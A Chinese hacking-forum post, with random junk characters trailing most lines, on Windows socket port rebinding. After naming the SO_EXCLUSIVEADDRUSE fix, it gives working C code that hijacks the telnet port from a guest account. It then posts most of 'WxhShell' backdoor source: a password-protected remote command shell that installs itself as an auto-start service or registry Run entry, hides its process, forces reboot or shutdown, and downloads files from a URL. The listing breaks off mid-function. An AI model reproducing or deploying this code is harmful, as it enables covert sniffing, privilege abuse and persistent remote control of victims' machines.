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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r"&uW !~0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]]eI80u[  
\`oP\|Z  
  saddr.sin_family = AF_INET; i[4t`v'Dk  
7I=vgT1F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8I]rC<O6:  
u/.# zn@9h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B".3NQ  
vtw97G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Sah!|9  
-_^#7]  
  这意味着什么?意味着可以进行如下的攻击: a^eR~efdu@  
O^DLp/vM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |<2<`3  
J;S Z"I'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t3<HE_B|  
kk$D:UQX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )u=46EU_  
9|l6.$Me/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d04fj/B  
UWW'[gEP1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v`\CzT  
Mt*eC)~ Yx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CuFlI?~8 z  
sB=s .`9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,Yu2K`  
? ]H'egG6  
  #include l{8t;!2t  
  #include [!j;jlh7},  
  #include =l4F/?u]f@  
  #include    Z5`U+ (  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %*^s%NI  
  int main() @@5Ju I-!  
  { xMA2S*%ca  
  WORD wVersionRequested; nn8uFISb  
  DWORD ret; 7b*9 Th*a  
  WSADATA wsaData; p?#xd!tc2N  
  BOOL val; /xb37,   
  SOCKADDR_IN saddr; gJg%3K~,  
  SOCKADDR_IN scaddr; $xK(bc'{  
  int err; S #C;"se  
  SOCKET s; 50^CILKo7  
  SOCKET sc; 3^`.bm4 ^  
  int caddsize; d(q2gd@  
  HANDLE mt; asJt 6C  
  DWORD tid;   EASN#VG  
  wVersionRequested = MAKEWORD( 2, 2 ); 'e*:eBoyb  
  err = WSAStartup( wVersionRequested, &wsaData ); nnuJY$O;M  
  if ( err != 0 ) { |k<5yj4?  
  printf("error!WSAStartup failed!\n"); iUk#0 I  
  return -1; "Xj>dB1~  
  } J@RV^2  
  saddr.sin_family = AF_INET; ?MD\\gN  
   uWkuw5;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "9OOyeKu%  
v03 ^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ar:qCq$\  
  saddr.sin_port = htons(23); =`t%p1   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DG/<#SCF  
  { U?8X]  
  printf("error!socket failed!\n"); r?R!/`f  
  return -1; bj=YFV+  
  } %iD'2e:  
  val = TRUE; zJTSg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Dw&_6\F@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3gz4c1 s^:  
  { ,%]x T>kH  
  printf("error!setsockopt failed!\n"); fH 0&Wc3yC  
  return -1; bkL5srH  
  } p}lFV,V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fYzZW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,,~|o3cfq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zrp9`~_g<!  
(@cZmU,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +f\r?8s  
  { LLJsBHi-  
  ret=GetLastError(); cxxrvP-  
  printf("error!bind failed!\n"); =~ ="#  
  return -1; aZL FsSY  
  } a*?,wmzl  
  listen(s,2); =aRE  
  while(1) YvPs   
  { !po29w:S  
  caddsize = sizeof(scaddr); ^:]~6p#  
  //接受连接请求 J0yo@O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xmwH~UWp  
  if(sc!=INVALID_SOCKET) #6za  
  { J}s)#va9R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Q/9aqHe;  
  if(mt==NULL) 0 hS(9y40  
  { Jtl[9qe#]  
  printf("Thread Creat Failed!\n"); 8\rHSsP  
  break; Ks.kn7<l  
  } LYp=o8JW|  
  } "hXB_73)V  
  CloseHandle(mt); 'fIirGOl  
  } WHv xBd  
  closesocket(s); oWdvpvO  
  WSACleanup(); r^!P=BS{  
  return 0; ZH=oQV)6  
  }   &g5+ |g (  
  DWORD WINAPI ClientThread(LPVOID lpParam) y%xn(Bn  
  { dS"%( ?o  
  SOCKET ss = (SOCKET)lpParam; P[a\Q`}L  
  SOCKET sc; {9YNv<3  
  unsigned char buf[4096]; Oz7WtN  
  SOCKADDR_IN saddr; H8?Kgaj~vf  
  long num; ccJ!N  
  DWORD val; uNG?`>4>  
  DWORD ret; 16n8[U!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CDgu`jj%]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %yP*Vp,W  
  saddr.sin_family = AF_INET; ^FN(wvqb8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ypsT: uLT  
  saddr.sin_port = htons(23); #ZPy&GIr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ee{8C~  
  { O;~d ao  
  printf("error!socket failed!\n"); nh+f,HtSt  
  return -1; . [5{  
  } f iu?mb=*  
  val = 100; jwZBWt )5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kc-v(WIC  
  { G9P)Y#WB  
  ret = GetLastError(); nK5FPFz8  
  return -1; j?'It`s  
  } K(B|o6[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4^Ghn  
  { :s`\jJ  
  ret = GetLastError(); }dO^q-t$3  
  return -1; ( mKuFz7  
  } 7!-y72qx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0s8w)%4$  
  { ZdY)&LJ  
  printf("error!socket connect failed!\n"); l-RwCw4f  
  closesocket(sc); "1Oe bo2  
  closesocket(ss); #jNN?,ZK  
  return -1; 3erGTa[|q  
  } 5cE?>  
  while(1) & !I$  
  { ds"q1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 by8~'?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oN6X]T<   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x-HN]quhe  
  num = recv(ss,buf,4096,0); x)Ls(Xh+g  
  if(num>0) "iY=1F"\R  
  send(sc,buf,num,0); .#ASo!O5q  
  else if(num==0) @>sZ'M2mq  
  break; 1O,<JrE+-  
  num = recv(sc,buf,4096,0); V,qc[*_3  
  if(num>0) CDTM<0`%  
  send(ss,buf,num,0); ]~1Xx:X-  
  else if(num==0) P\R#!+FgW8  
  break; amH..D7_>  
  } q:/<^|  
  closesocket(ss); wio}<Y6Xz  
  closesocket(sc); .y~vn[qN  
  return 0 ; ;VAHgIpx;  
  } .#[==  
uWE :3  
\tx4bV#  
========================================================== 3/q) %Z^=  
QBI;aG<+b>  
下边附上一个代码,,WXhSHELL ,aBo p#  
>=Pn\" j  
========================================================== -%eBip,'yl  
pZg}7F{$  
#include "stdafx.h" -@EAL:kY  
UfWn\*J&k  
#include <stdio.h> O>H'o k  
#include <string.h> CFU'- #b  
#include <windows.h> 96FS-`  
#include <winsock2.h> z nxAP|  
#include <winsvc.h> c_#+xGS!7  
#include <urlmon.h> jA}b=c  
U2D2?#  
#pragma comment (lib, "Ws2_32.lib") ;9rS[$^$O  
#pragma comment (lib, "urlmon.lib") <//#0r*  
!ENDQ?1  
#define MAX_USER   100 // 最大客户端连接数 3pF7} P  
#define BUF_SOCK   200 // sock buffer kZ>Xl- LV  
#define KEY_BUFF   255 // 输入 buffer ?'$Yj>R6  
@ysc?4% q  
#define REBOOT     0   // 重启 awic9 uMH  
#define SHUTDOWN   1   // 关机 BQ7p<{G  
H ]x-s  
#define DEF_PORT   5000 // 监听端口 /$ :w8  
= olmBXn/  
#define REG_LEN     16   // 注册表键长度 yxx'g+D*  
#define SVC_LEN     80   // NT服务名长度 iir]M`A.-  
<_N<L\  
// 从dll定义API tr t^o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e 1$<,.>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _sGmkJi]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W1T% Q88  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e(~9JP9  
7(S66  
// wxhshell配置信息 :K)7_]y  
struct WSCFG { \_w>I_=F  
  int ws_port;         // 监听端口 XDdF7i}  
  char ws_passstr[REG_LEN]; // 口令 `, lry7]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 74p=uQ  
  char ws_regname[REG_LEN]; // 注册表键名 5SNa~ kC&  
  char ws_svcname[REG_LEN]; // 服务名 "A]Xe[oS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p9`!.~[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -E(0}\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zv8AvNDK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sd |=*X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ._i|+[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 15X.gx  
NlG~{rfI  
}; 1z5Oi u  
;#Y'SK  
// default Wxhshell configuration qLYz-P'ik  
struct WSCFG wscfg={DEF_PORT, dz>2/'  
    "xuhuanlingzhe", D,l&^diz  
    1, #{DX*;1m  
    "Wxhshell", u9zEhfg8  
    "Wxhshell", -/'_XR@1  
            "WxhShell Service", <(c_[o/  
    "Wrsky Windows CmdShell Service", 5mYX#//:  
    "Please Input Your Password: ", o<8('j   
  1, e>] gCa  
  "http://www.wrsky.com/wxhshell.exe", =+z+`ot  
  "Wxhshell.exe" Z.l4<  
    }; S<Os\/*  
w$##GM=Tq  
// 消息定义模块 x,% %^(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a7@':Rb n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LN0pC }F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ("r\3Mvs  
char *msg_ws_ext="\n\rExit.";  .V   
char *msg_ws_end="\n\rQuit."; 3HEm-pok  
char *msg_ws_boot="\n\rReboot..."; BH"OphE  
char *msg_ws_poff="\n\rShutdown..."; h%%ryQQ&<  
char *msg_ws_down="\n\rSave to "; y9)w(y !  
pv[Gg^  
char *msg_ws_err="\n\rErr!"; /f}!G  
char *msg_ws_ok="\n\rOK!"; je`Ysben  
JJZu%9~[  
char ExeFile[MAX_PATH]; rLpfybu  
int nUser = 0; @y!oKF  
HANDLE handles[MAX_USER]; xMs!FMn[  
int OsIsNt; R0g^0K.  
#=g1V?D  
SERVICE_STATUS       serviceStatus; 1p5n}|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |ns B'Q  
,` 64t'g  
// 函数声明 tP][o494\&  
int Install(void); B%^W$7 q  
int Uninstall(void); ~jR4%VF  
int DownloadFile(char *sURL, SOCKET wsh); qipV'T,S  
int Boot(int flag); CBr(a'3{Z  
void HideProc(void); 3%[;nhbA7  
int GetOsVer(void); 4=~+B z  
int Wxhshell(SOCKET wsl); fg)VO6Wo&  
void TalkWithClient(void *cs);  mPL0s  
int CmdShell(SOCKET sock); T!7B0_  
int StartFromService(void); )! eJW(  
int StartWxhshell(LPSTR lpCmdLine); AxtmG\o>  
D){my_ /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 48IrC_0j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 64i*_\UKe  
@xXVJWEU:  
// 数据结构和表定义 nSv@FT'~z  
SERVICE_TABLE_ENTRY DispatchTable[] = D"V(A\sZ  
{ 7tbY>U8  
{wscfg.ws_svcname, NTServiceMain}, vc0LV'lmg  
{NULL, NULL} uc>":V  
}; jNvDE}'  
w *M&@+3I  
// 自我安装 %E\zR/  
int Install(void) $<QrV,T  
{ d%za6=M  
  char svExeFile[MAX_PATH]; bFIM07  
  HKEY key; 9 {wRqY  
  strcpy(svExeFile,ExeFile); Fq$r>tmV  
GEK7q<  
// 如果是win9x系统,修改注册表设为自启动 z"97AXu  
if(!OsIsNt) { n_4 r'w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 x'2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uOO\!Hqq  
  RegCloseKey(key); DL*vF>v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q+oV? S3{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JC MUK<CG  
  RegCloseKey(key); "<"m}rE?Q  
  return 0; q{ [!" ,  
    } njc-=o  
  } 0NeIQr1N_  
} Fw S>V2R  
else { )ViBH\.*p  
N=PSr4  
// 如果是NT以上系统,安装为系统服务 g/FZ?Wo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wRvh/{xB  
if (schSCManager!=0) 5X f]j=_  
{ 6w=`0r3hy  
  SC_HANDLE schService = CreateService VV{>Kq+&,v  
  ( r'`7}@H*  
  schSCManager, &+n9T?+b  
  wscfg.ws_svcname, AhD C5ue=  
  wscfg.ws_svcdisp, !E_Zh*lgm  
  SERVICE_ALL_ACCESS, oOLey!uZw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rlaeqG  
  SERVICE_AUTO_START, "M, 1ElQ  
  SERVICE_ERROR_NORMAL, X$;&Mdo.  
  svExeFile, b[GhI+_  
  NULL, - V:HT j  
  NULL, {#:31)P  
  NULL, P}]o$nWT  
  NULL, [}YUi>NGA  
  NULL qi B~  
  ); (Vr%4Z8  
  if (schService!=0) %@Z;;5L  
  { FpiTQC7d  
  CloseServiceHandle(schService); b8e\(Dww  
  CloseServiceHandle(schSCManager); u4_QLf@I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 3|t5Ia  
  strcat(svExeFile,wscfg.ws_svcname); {"+M%%`*#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PJcfiRa'jQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s-_D,$ |  
  RegCloseKey(key); =#/Kg_RKL  
  return 0; m`9nDiV  
    } f4fBUZ^ A  
  } f-G)pHm  
  CloseServiceHandle(schSCManager); #R{>@]x`  
} SIV !8mz  
} h~m,0nGO  
.07`nIs"  
return 1; ~N/r;omVc  
} mUbm3JIjJ  
4;I\% qes  
// 自我卸载 | DV?5>>  
int Uninstall(void) 0_eqO'"  
{ $'%GB $.  
  HKEY key; 58Ce>*~  
ov,|`FdU^T  
if(!OsIsNt) { 8ix_<$%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |)+ SG>-  
  RegDeleteValue(key,wscfg.ws_regname); Bz<hP*.O  
  RegCloseKey(key); ZRG Cy5Rk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Jmla~A  
  RegDeleteValue(key,wscfg.ws_regname); c 3O/#*  
  RegCloseKey(key); F?|Efpzow?  
  return 0; !JDr58  
  } ;U|(rM;  
} {2h *NFp  
} b!P,+!<  
else { CtXbAcN2B  
0k5-S~_\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @^<odmM  
if (schSCManager!=0) \y5lYb,*c_  
{ HbegdbTJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !1G KpL  
  if (schService!=0) W!wof- 1  
  { $G-<kC}8:  
  if(DeleteService(schService)!=0) { KGYbPty}  
  CloseServiceHandle(schService); ?1D!%jfi  
  CloseServiceHandle(schSCManager); :Ln)j%&  
  return 0; |gA@WV-%  
  } ' @RF  
  CloseServiceHandle(schService); hO]F\0+  
  } b3^:Bh9  
  CloseServiceHandle(schSCManager); `*3A7y  
} z_!IA ] v  
} ? `p/jA  
o{G*7V@H  
return 1; &t[[4+Qt  
} `9co7[Z  
WM'!|lg  
// 从指定url下载文件 d ItfR'$  
int DownloadFile(char *sURL, SOCKET wsh) orFwy!  
{ z'U.}27&o  
  HRESULT hr; vN'+5*Cgy6  
char seps[]= "/"; !fzS' pkk.  
char *token; !+%gJiu:  
char *file; XI\Slq  
char myURL[MAX_PATH]; Jh3  
char myFILE[MAX_PATH]; P |t yyjO  
>$JE!.p%o  
strcpy(myURL,sURL); C< c6Ub  
  token=strtok(myURL,seps); y>EW,%leC  
  while(token!=NULL) Vr EGR$  
  { w$:\!FImx  
    file=token; [kg?q5F)  
  token=strtok(NULL,seps); !0W(f.A{K  
  } ;OlnIxH(W  
1'qXT{f/~  
GetCurrentDirectory(MAX_PATH,myFILE); ~.: { Ik]  
strcat(myFILE, "\\"); :C*}Yg  
strcat(myFILE, file); ]E-/}Ysz  
  send(wsh,myFILE,strlen(myFILE),0); ^OKm (  
send(wsh,"...",3,0); ?6CLUu|7n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w7Yu} JY^  
  if(hr==S_OK) KL'1)G"OH  
return 0; o8R_ Ojh  
else itYoR-XJ  
return 1; Voo'ZeZa  
a;xeHbE  
} SZF 8InyF  
^2~ZOP$A  
// 系统电源模块 p AOKy  
int Boot(int flag) YB"gLv?  
{ c["1t1G  
  HANDLE hToken; 6Qkjr</  
  TOKEN_PRIVILEGES tkp; ,`bW (V  
},8|9z#pyB  
  if(OsIsNt) { NftnbsTmy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "z{/*uM2<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @P7'MiP]K  
    tkp.PrivilegeCount = 1; (%X *b.n=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1kvX#h&V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FOQ-KP\ =,  
if(flag==REBOOT) { 5-X$"Z|@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K,g6y#1"  
  return 0; ,Vi_~b  
} 9<u&27.  
else { h-96 2(LG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >%tP"x{  
  return 0; :^]Po$fl  
} $5i\D rs  
  } ~^2w)-N  
  else { 6CyByj&  
if(flag==REBOOT) { 1Vy8eI`4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uVqc:Q"  
  return 0; jlBsm'M<m  
} M7/5e3  
else { NCKR<!(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D,cD]tB2  
  return 0; v@{y}  
} rN&fFI  
} ~rV$.:%va  
[)I^v3]U  
return 1; S%\5"uGa  
} +ywz@0nx  
HIc;Lc8$  
// win9x进程隐藏模块 Z;uKnJh  
void HideProc(void) zeMV_rW~  
{ @ym:@<D  
XZOBK^,5^B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C1;uAw?\  
  if ( hKernel != NULL ) <9]"p2  
  { 2E-Kz?,:[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TgcCR:eL=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1'hpg>U  
    FreeLibrary(hKernel); wo&IVy@s$  
  } 5$U49j  
0aY|:  
return; :$G^TD/n  
} &E]) sJ0  
;-1KPDIp`  
// 获取操作系统版本 dzIBdth  
int GetOsVer(void) < dE7+w  
{  c k;:84  
  OSVERSIONINFO winfo; 1O Ft}>1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~aotV1"D  
  GetVersionEx(&winfo); #X)DFAtb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9BakxmAc  
  return 1; &3iI\s[  
  else W>' DQB  
  return 0; XI Mh<  
} <W!T+sMQj  
>7WT4l)7!b  
// 客户端句柄模块 iX?j"=!  
int Wxhshell(SOCKET wsl) .Yk}iHcW.  
{ 4M"'B A<  
  SOCKET wsh; !S<p"   
  struct sockaddr_in client; SVa^:\"$[  
  DWORD myID; glch06  
bD v& ;Z  
  while(nUser<MAX_USER) Ge)G.>c  
{ (1=@.srAzK  
  int nSize=sizeof(client); |Gq3pL<jkC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _oZ3n2v}@  
  if(wsh==INVALID_SOCKET) return 1; !IJ YaQ6z  
r`ftflNh(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n 'ZPB  
if(handles[nUser]==0) &DQ_qOKD  
  closesocket(wsh); [p4([ef '  
else x<t ?Yc9  
  nUser++; VN-0hw/A  
  } .\`M oH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MZ)lNU l  
R UCUEo63  
  return 0; =?CIC%6m  
} VnN(lJ  
Y3|_&\ v6  
// 关闭 socket Oh}52=  
void CloseIt(SOCKET wsh) }G(#jOYk  
{ 5#z7Hj&w  
closesocket(wsh); c CjN8<  
nUser--; =8vwaJ  
ExitThread(0); O4nA ?bA  
} fm#7}Y  
D8k >f ]  
// 客户端请求句柄 uaD+G:{ [  
void TalkWithClient(void *cs) N8T.Ye N  
{ s|WcJV  
QfjoHeG7  
  SOCKET wsh=(SOCKET)cs; ]@_|A, ]  
  char pwd[SVC_LEN]; ?z.  Z_A&  
  char cmd[KEY_BUFF]; Z{u]qI{l  
char chr[1]; `m V(:  
int i,j; rxx VLW  
Eb,M+c?  
  while (nUser < MAX_USER) { oVl:g:K40  
b 2\J<Nw  
if(wscfg.ws_passstr) { eLH=PDdO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U7LCd+Z 5X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G=e'H-  
  //ZeroMemory(pwd,KEY_BUFF); "Ml#,kU<T  
      i=0; (;Bh7Ft  
  while(i<SVC_LEN) { {_>XsB  
UN<$F yb  
  // 设置超时 auB+g'l  
  fd_set FdRead; (wH+0  
  struct timeval TimeOut; C\[:{d  
  FD_ZERO(&FdRead); #.FhN x  
  FD_SET(wsh,&FdRead); (R s;+S  
  TimeOut.tv_sec=8; &/Gf@[  
  TimeOut.tv_usec=0; 9r:|u:i7m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \1u^?cBd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yl1l$[A$  
Ut%{pc 7^F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HH3Z?g  
  pwd=chr[0]; f4`Nws-dP  
  if(chr[0]==0xd || chr[0]==0xa) { [+@T"2h2b  
  pwd=0; P e} T  
  break; ra ,.vJuT  
  } K6F05h 5S  
  i++; h1Y^+A_  
    } tPk> hzW  
IUWJi\,  
  // 如果是非法用户,关闭 socket PE_JO(e;Xm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n-?zH:]GG{  
} B0g?!.#23  
2Z9ck|L>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \R 3O39[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >kuu\  
Vo%ikR #  
while(1) { juWbd|ad"  
-lfbn =3  
  ZeroMemory(cmd,KEY_BUFF); {rF9[S"h  
}_}LaEYAo  
      // 自动支持客户端 telnet标准   c ? Zi/7  
  j=0; >2'A~?%  
  while(j<KEY_BUFF) { A/Sj>Y1j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &[ |Z2}  
  cmd[j]=chr[0]; B90fUK2g  
  if(chr[0]==0xa || chr[0]==0xd) { {\h:k\k  
  cmd[j]=0; &`'@}o>2  
  break; ?wIw$p>wT  
  } bvl!^xO]  
  j++; :VR% I;g;  
    } f]Zj"Tt-  
%xX b5aY  
  // 下载文件 2`V0k.$?p  
  if(strstr(cmd,"http://")) { HbCcROl(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $7O3+R/=  
  if(DownloadFile(cmd,wsh)) Z0 c|;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;b|=osyT\  
  else n "I{aJ]K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j\@&poJ(,  
  } b$/7rVH!  
  else { y?iW^>|?L=  
s?9`dv} P  
    switch(cmd[0]) { /.UISArH  
  S2 -J1 x2N  
  // 帮助 p8iKZI]g  
  case '?': { Q0XSQOl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xd`\Ai  
    break; 7<*g'6JG[  
  } |lIgvHgg  
  // 安装 NiVZ=wEp,  
  case 'i': { U]M5&R=?  
    if(Install()) a3[,3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eh *u6K)Z  
    else R,l*@3Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #=ko4?Wr(  
    break; }'p*C$  
    } MMQ\V(C  
  // 卸载 0Y!~xyg/  
  case 'r': { TQpR'  
    if(Uninstall()) EQy~ ^7V B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c&g*nDuDj  
    else 0.~s>xXp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E,/nK  
    break; QwnqysNx4  
    } S`h yRw  
  // 显示 wxhshell 所在路径 #Fh:z4  
  case 'p': { =s:Z-*vy!  
    char svExeFile[MAX_PATH]; S;u 2B_/  
    strcpy(svExeFile,"\n\r"); -;YhQxxC}L  
      strcat(svExeFile,ExeFile); h\6 t\_^\  
        send(wsh,svExeFile,strlen(svExeFile),0); 0<Rq  
    break; Q^'xVS_.  
    } ^ b{~]I  
  // 重启 MZ^(BOe_  
  case 'b': { Bl+PJ 0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m*14n_m'  
    if(Boot(REBOOT)) o#-^Lg&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -S%Uw  
    else { RV@mAw.T  
    closesocket(wsh); NC"X{$o2  
    ExitThread(0); ,H] S-uK~  
    } ;(Z9.  
    break; O}z-g&e.U  
    } p-6T,')  
  // 关机 G[zVGqk  
  case 'd': { G4EuW *~  
